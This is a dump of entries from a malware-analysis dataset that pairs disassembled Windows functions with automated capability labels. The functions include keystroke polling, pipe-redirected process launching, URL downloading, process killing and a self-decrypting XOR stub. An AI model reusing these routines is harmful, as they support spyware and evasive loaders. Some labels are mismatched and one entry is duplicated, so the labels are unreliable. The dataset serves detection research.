joyce8/EMBER2024-capa huggingface dataset:
Function at 0x474958
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e70
mov eax, dword [ebp - 8]
call fcn.00404e70
xor eax, eax
push ebp
push 0x474ac3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004049c0
mov dword [ebp - 0x1c], 0xff
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
call fcn.00404ed8
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x474aa0
mov eax, dword [ebp - 0x14]
call fcn.0040275c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x474a99
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
lea eax, [ebp - 4]
call fcn.00404ed8
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x474a80
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
push 0x474ad0
mov eax, dword [ebp - 0xc]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x474a58
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x20]
movzx eax, word [eax]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.004079dc
movzx eax, ax
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
lea edx, [ebp - 0x3c]
mov ecx, 2
mov eax, 0x474af4
call fcn.0040a664
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 8]
call fcn.00404a58
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
call fcn.00404ed8
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x474a80
mov edx, ebx
mov eax, dword [ebp - 0x10]
call fcn.0040a174
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474aa0
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
call fcn.0040277c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474aca
lea eax, [ebp - 0x24]
call fcn.004049c0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004049e4
ret

Function at 0x474d44
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
xor eax, eax
mov dword [esp], eax
push 0
lea eax, [esp + 4]
push eax
call sub.wininet.dll_InternetGetConnectedState
cmp eax, 1
sbb eax, eax
inc eax
pop edx
ret
Function at 0x474d60
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff8c4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x73c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], edx
mov esi, eax
lea ebx, [ebp - 0x14]
xor eax, eax
push ebp
push 0x474f87
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x73c]
xor eax, eax
call fcn.00402b68
mov eax, dword [ebp - 0x73c]
lea edx, [ebp - 0x18]
call fcn.00409e18
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x18]
call fcn.00404e80
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x474ea2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x84000000
push 0
push 0
mov eax, esi
call fcn.00404e80
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x474e84
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x56c]
call fcn.00402f1c
mov edx, 1
lea eax, [ebp - 0x56c]
call fcn.004035e4
call fcn.004028c4
push ebx
push 0x400
lea eax, [ebp - 0x420]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x420]
mov ecx, dword [ebx]
lea eax, [ebp - 0x56c]
call fcn.0040306c
call fcn.004028c4
cmp dword [ebx], 0
jne 0x474e24
lea eax, [ebp - 0x56c]
call fcn.0040308c
call fcn.004028c4
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x474e8b
mov eax, dword [ebp - 0x10]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x474fd0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x414], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x47510b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004049c0
push 0
push 0
push 0
push 0
push 0x475118
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4750eb
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x4750d4
push 0
push 0x84000000
push 0
push 0
mov eax, esi
call fcn.00404e80
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4750d4
xor eax, eax
push ebp
push 0x4750cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 0x400
lea eax, [ebp - 0xc]
push eax
push 0x400
lea eax, [ebp - 0x40e]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetReadFile
cmp dword [ebp - 0xc], 0
je 0x4750b6
mov eax, dword [ebp - 0xc]
mov byte [ebp + eax - 0x40e], 0
lea eax, [ebp - 0x414]
lea edx, [ebp - 0x40e]
mov ecx, 0x402
call fcn.00404c30
mov edx, dword [ebp - 0x414]
mov eax, ebx
call fcn.00404c88
jmp 0x475060
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4750d4
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4750f2
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
Function at 0x475394
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe80
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
mov dword [ebp - 0x18], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e70
mov eax, dword [ebp - 8]
call fcn.00404e70
xor eax, eax
push ebp
push 0x4755cb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004049c0
mov dword [ebp - 0x24], 0xc
mov dword [ebp - 0x1c], 0xffffffff
xor eax, eax
mov dword [ebp - 0x20], eax
push 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
call sub.kernel32.dll_CreatePipe
xor eax, eax
push ebp
push 0x475591
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x68]
xor ecx, ecx
mov edx, 0x44
call fcn.004032b4
mov dword [ebp - 0x68], 0x44
mov dword [ebp - 0x3c], 0x101
mov word [ebp - 0x38], 0
push 0xfffffffffffffff6
call sub.kernel32.dll_GetStdHandle_1
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
call fcn.00409a58
test al, al
je 0x475463
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 8]
call fcn.00404a58
jmp 0x475470
lea eax, [ebp - 0x18]
mov edx, 0x4755e0
call fcn.00404a58
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebp - 0x18]
call fcn.00404e80
push eax
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x17c]
mov ecx, dword [ebp - 4]
mov edx, 0x4755ec
call fcn.00404ccc
mov eax, dword [ebp - 0x17c]
call fcn.00404e80
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
test bl, bl
je 0x47557a
xor eax, eax
push ebp
push 0x475573
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0x14]
push eax
push 0xff
lea eax, [ebp - 0x178]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_ReadFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [ebp - 0x14], 0
jbe 0x47553e
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x178], 0
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x178]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x180]
lea edx, [ebp - 0x178]
mov ecx, pe_nt_image_headers32
call fcn.00404c30
mov edx, dword [ebp - 0x180]
mov eax, esi
call fcn.00404c88
test bl, bl
je 0x475548
cmp dword [ebp - 0x14], 0
jne 0x4754d6
push 0xffffffffffffffff
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47557a
mov eax, dword [ebp - 0x74]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x78]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475598
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
Function at 0x475aa4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e70
xor eax, eax
push ebp
push 0x475be5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, 0x475bfc
call fcn.00475968
xor edx, edx
mov eax, 2
call fcn.00472b30
mov ebx, eax
cmp ebx, 0xffffffff
je 0x475bb9
mov dword [ebp - 0x12c], 0x128
lea edx, [ebp - 0x12c]
mov eax, ebx
call fcn.00472b50
lea eax, [ebp - 0x134]
lea edx, [ebp - 0x108]
mov ecx, 0x104
call fcn.00404c30
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408de4
mov eax, dword [ebp - 0x130]
push eax
mov eax, dword [ebp - 4]
call fcn.00404e80
mov edx, eax
lea eax, [ebp - 0x13c]
call fcn.00404bb8
mov eax, dword [ebp - 0x13c]
lea edx, [ebp - 0x138]
call fcn.00408de4
mov edx, dword [ebp - 0x138]
pop eax
call fcn.00404dcc
jne 0x475b9e
mov eax, dword [ebp - 0x124]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0
push esi
call sub.kernel32.dll_TerminateProcess
push esi
call sub.kernel32.dll_CloseHandle_1
lea edx, [ebp - 0x12c]
mov eax, ebx
call fcn.00472b70
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x475b1c
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475bec
lea eax, [ebp - 0x13c]
mov edx, 4
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049c0
ret
Function at 0x4764f4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4766a7
push dword fs:[eax]
mov dword fs:[eax], esp
test bl, bl
je 0x476651
mov ecx, dword [0x49ec58]
mov edx, ebx
mov eax, esi
call fcn.0047672c
mov eax, dword [0x49ec5c]
call fcn.00404e80
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [esi + 0x40], eax
cmp dword [esi + 0x40], 0
jne 0x476572
lea eax, [ebp - 4]
mov ecx, dword [0x49ec58]
mov edx, 0x4766bc
call fcn.00404ccc
mov ecx, dword [ebp - 4]
mov edx, ebx
mov eax, esi
call fcn.0047672c
mov eax, dword [0x49ec5c]
call fcn.00404e80
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [esi + 0x40], eax
push 0x4766c0
mov eax, dword [esi + 0x40]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x44], eax
push 0x4766c8
mov eax, dword [esi + 0x40]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x48], eax
cmp dword [esi + 0x44], 0
je 0x4765a0
cmp dword [esi + 0x48], 0
jne 0x4765b6
mov ecx, 0x4766d8
mov dl, 1
mov eax, dword [0x408034]
call fcn.0040d144
call fcn.00404378
push 0x4766f4
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
mov dword [esi + 0x30], ebx
test ebx, ebx
jne 0x4765e9
mov ecx, 0x476708
mov dl, 1
mov eax, dword [0x408034]
call fcn.0040d144
call fcn.00404378
push 0
push 0
push 0
push 2
mov eax, dword [esi + 0x30]
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov dword [esi + 0x38], ebx
mov dword [ebx], edi
push 0x476720
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
mov dword [esi + 0x34], ebx
test ebx, ebx
jne 0x476634
mov ecx, 0x476708
mov dl, 1
mov eax, dword [0x408034]
call fcn.0040d144
call fcn.00404378
push 0
push 0
push 0
push 2
mov eax, dword [esi + 0x34]
push eax
call sub.kernel32.dll_MapViewOfFile
mov ebx, eax
mov dword [esi + 0x3c], ebx
mov dword [ebx], edi
call dword [esi + 0x44]
jmp 0x476691
cmp dword [esi + 0x48], 0
je 0x47665a
call dword [esi + 0x48]
mov eax, dword [esi + 0x40]
test eax, eax
je 0x476667
push eax
call sub.kernel32.dll_FreeLibrary_1
cmp dword [esi + 0x30], 0
je 0x476691
mov eax, dword [esi + 0x38]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, dword [esi + 0x3c]
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov eax, dword [esi + 0x30]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [esi + 0x34]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4766ae
lea eax, [ebp - 4]
call fcn.004049c0
ret
Function at 0x4768ac
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x108], ecx
mov ebx, edx
mov edi, eax
xor eax, eax
push ebp
push 0x4769ad
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [0x49ec4c], eax
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [0x49ec4c]
push eax
push 0
lea eax, [ebp - 2]
push eax
lea eax, [ebp - 0x102]
push eax
mov eax, dword [0x49ec4c]
push eax
push 2
mov esi, dword [ebx + 4]
push esi
call sub.user32.dll_MapVirtualKeyExA
push eax
push esi
call sub.user32.dll_ToAsciiEx
mov edx, dword [ebx + 8]
test edx, 0x80000000
jne 0x47695b
test al, al
jbe 0x476951
lea eax, [ebp - 0x108]
mov dl, byte [ebp - 2]
call fcn.00404ba8
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebx + 4]
mov eax, edi
call fcn.00476aac
xor eax, eax
mov dword [0x49ec50], eax
jmp 0x47698f
mov eax, dword [ebx + 4]
mov dword [0x49ec50], eax
jmp 0x47698f
shr edx, 0x1f
and edx, 1
dec edx
jne 0x47698f
cmp al, 1
jae 0x47698f
cmp dword [0x49ec50], 0
je 0x47698f
lea eax, [ebp - 0x10c]
mov dl, byte [ebp - 2]
call fcn.00404ba8
mov ecx, dword [ebp - 0x10c]
mov edx, dword [ebx + 4]
mov eax, edi
call fcn.00476aac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4769b4
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.004049e4
ret

Function at 0x486bac
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xe
push 0
push 0
dec ecx
jne 0x486bb4
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e70
xor eax, eax
push ebp
push 0x4870b7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 4]
call fcn.00408da8
mov edx, dword [ebp - 0x2c]
mov ecx, 1
mov eax, 0x4870d0
call fcn.00486ab0
mov ebx, eax
test ebx, ebx
jne 0x486c21
push 0
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
call fcn.00408da8
mov edx, dword [ebp - 0x30]
mov ecx, 1
mov eax, 0x4870e0
call fcn.00486ab0
mov ebx, eax
test ebx, ebx
jle 0x487056

Function at 0x494a28
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, ecx
mov ebx, edx
mov dword [esp], eax
mov eax, ebp
mov edx, dword [esp]
call fcn.00404a14
mov esi, ebx
mov eax, dword [ebp]
call fcn.00404c80
test ax, ax
jbe 0x494a93
mov word [esp + 4], ax
mov bx, 1
mov eax, ebp
call fcn.00404ed8
movzx edi, bx
mov edx, dword [ebp]
mov dl, byte [edx + edi - 1]
movzx ecx, si
shr ecx, 8
xor dl, cl
mov byte [eax + edi - 1], dl
mov eax, dword [esp]
movzx eax, byte [eax + edi - 1]
add si, ax
imul ax, si, 0xce6d
add ax, 0x58bf
mov esi, eax
inc ebx
dec word [esp + 4]
jne 0x494a58
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x496784
Capabilities:
Create thread

Disassembly:
push ebx
push ecx
mov ebx, eax
mov eax, ebx
call fcn.00441704
mov dword [0x49f188], eax
push esp
push 0
push 0
push 0x49622c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
pop edx
pop ebx
ret
Function at 0x4995dc
Capabilities:
Create thread

Disassembly:
push ecx
push esp
push 0
push 0
push 0x4993c8
push 0
push 0
call sub.kernel32.dll_CreateThread_1
pop edx
ret

Function at 0x499db8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x499f33
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x49f1bc]
mov edx, dword [eax]
call dword [edx + 0x54]
test al, al
je 0x499efb
xor edx, edx
mov eax, dword [0x49f1e0]
call fcn.0042f70c
mov edx, 0x499f4c
mov eax, dword [0x49f1bc]
mov ecx, dword [eax]
call dword [ecx + 0x7c]
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
or ecx, 0xffffffff
mov edx, 0x499f5c
mov eax, dword [0x49f1bc]
mov esi, dword [eax]
call dword [esi + 0x70]
xor eax, eax
push ebp
push 0x499ee3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, 0x499f68
call fcn.00404dcc
jne 0x499e3f
mov eax, ebx
call fcn.0049a008
mov eax, dword [ebp - 4]
mov edx, 0x499f80
call fcn.00404dcc
jne 0x499e55
mov eax, ebx
call fcn.0049a14c
mov eax, dword [ebp - 4]
mov edx, 0x499f98
call fcn.00404dcc
jne 0x499e6b
mov eax, ebx
call fcn.0049a214
mov eax, dword [ebp - 4]
mov edx, 0x499fac
call fcn.00404dcc
jne 0x499e81
mov eax, ebx
call fcn.0049a300
mov eax, dword [ebp - 4]
mov edx, 0x499fbc
call fcn.00404dcc
jne 0x499e97
mov eax, ebx
call fcn.0049a48c
mov eax, dword [ebp - 4]
mov edx, 0x499fd4
call fcn.00404dcc
jne 0x499ead
mov eax, ebx
call fcn.0049a638
mov eax, dword [ebp - 4]
mov edx, 0x499fe8
call fcn.00404dcc
jne 0x499ec3
mov eax, ebx
call fcn.0049a75c
mov eax, dword [ebp - 4]
mov edx, 0x499ffc
call fcn.00404dcc
jne 0x499ed9
mov eax, ebx
call fcn.0049a7f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x499eed
mov dl, 1
mov eax, dword [0x49f1e0]
call fcn.0042f70c
jmp 0x499f1d
xor edx, edx
mov eax, dword [0x49f1e0]
call fcn.0042f70c
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x499b14
push 0
push 0
call sub.kernel32.dll_CreateThread_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x499f3a
lea eax, [ebp - 4]
call fcn.004049c0
ret
Function at 0x1000f92d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0x24]
mov ecx, dword [edi + 0x6c]
mov esi, dword [edi + 0x34]
mov edx, dword [edi + 0x64]
sub esi, edx
sub esi, ecx
mov dword [ebp - 8], esi
jne 0x1000f95c
test edx, edx
jne 0x1000f969
test ecx, ecx
jne 0x1000f969
mov esi, ebx
jmp 0x1000f9eb
cmp esi, 0xffffffff
jne 0x1000f969
push 0xfffffffffffffffe
pop esi
jmp 0x1000f9eb
mov eax, dword [edi + 0x24]
add eax, 0xfffffefa
add eax, ebx
cmp edx, eax
jb 0x1000f9eb
mov ecx, dword [edi + 0x30]
push ebx
lea eax, [ecx + ebx]
push eax
push ecx
call fcn.10011ee0
mov ecx, dword [edi + 0x44]
add esp, 0xc
mov eax, dword [edi + 0x3c]
sub dword [edi + 0x68], ebx
sub dword [edi + 0x64], ebx
sub dword [edi + 0x54], ebx
mov dword [ebp - 4], ecx
lea edi, [eax + ecx*2]
lea edi, [edi - 2]
xor ecx, ecx
movzx eax, word [edi]
mov edx, eax
sub eax, ebx
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
sub dword [ebp - 4], 1
mov word [edi], cx
jne 0x1000f99d
mov edi, dword [ebp + 8]
mov ecx, ebx
mov esi, ecx
mov eax, dword [edi + 0x38]
lea edi, [eax + ecx*2]
lea edi, [edi - 2]
xor ecx, ecx
movzx eax, word [edi]
mov edx, eax
sub eax, ebx
cmp edx, ebx
movzx eax, ax
cmovae ecx, eax
mov word [edi], cx
sub esi, 1
jne 0x1000f9c7
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
add esi, ebx
mov ecx, dword [edi]
cmp dword [ecx + 4], 0
je 0x1000fa48
mov eax, dword [edi + 0x6c]
add eax, dword [edi + 0x64]
add eax, dword [edi + 0x30]
push esi
push eax
push ecx
call fcn.100103f4
add dword [edi + 0x6c], eax
add esp, 0xc
mov ecx, dword [edi + 0x6c]
cmp ecx, 3
jb 0x1000fa34
mov edx, dword [edi + 0x64]
mov eax, dword [edi + 0x30]
mov ecx, dword [edi + 0x50]
movzx esi, byte [edx + eax]
mov dword [edi + 0x40], esi
movzx eax, byte [edx + eax + 1]
shl esi, cl
mov ecx, dword [edi + 0x6c]
xor esi, eax
and esi, dword [edi + 0x4c]
mov dword [edi + 0x40], esi
cmp ecx, 0x106
jae 0x1000fa48
mov eax, dword [edi]
cmp dword [eax + 4], 0
jne 0x1000f93e
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001ef0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov esi, dword [ebp + 0x10]
cmp edi, 2
je 0x10001f40
cmp edi, 0x100
jne 0x10001f14
cmp esi, 0x14
je 0x10001f60
mov eax, dword [ebp + 0x14]
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], ebx
mov dword [esp + 0xc], eax
call dword [sym.imp.comctl32.dll_DefSubclassProc]
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x18
mov eax, dword [ebp + 0x18]
mov dword [esp + 4], sym._CredDialogPasswordSubclassProc_24
mov dword [esp], ebx
mov dword [esp + 8], eax
call dword [sym.imp.comctl32.dll_RemoveWindowSubclass]
sub esp, 0xc
jmp 0x10001f14
mov dword [esp], ebx
call dword [sym.imp.user32.dll_GetParent]
sub esp, 4
mov dword [ebp - 0x10], eax
mov dword [esp], 0x14
call dword [sym.imp.user32.dll_GetKeyState]
mov edx, dword [ebp + 0x1c]
sub esp, 4
test al, 1
mov eax, dword [ebp - 0x10]
je 0x10001f90
call sym._CredDialogShowCapsLockBalloon
jmp 0x10001f14
call sym._CredDialogHideBalloonTip
jmp 0x10001f14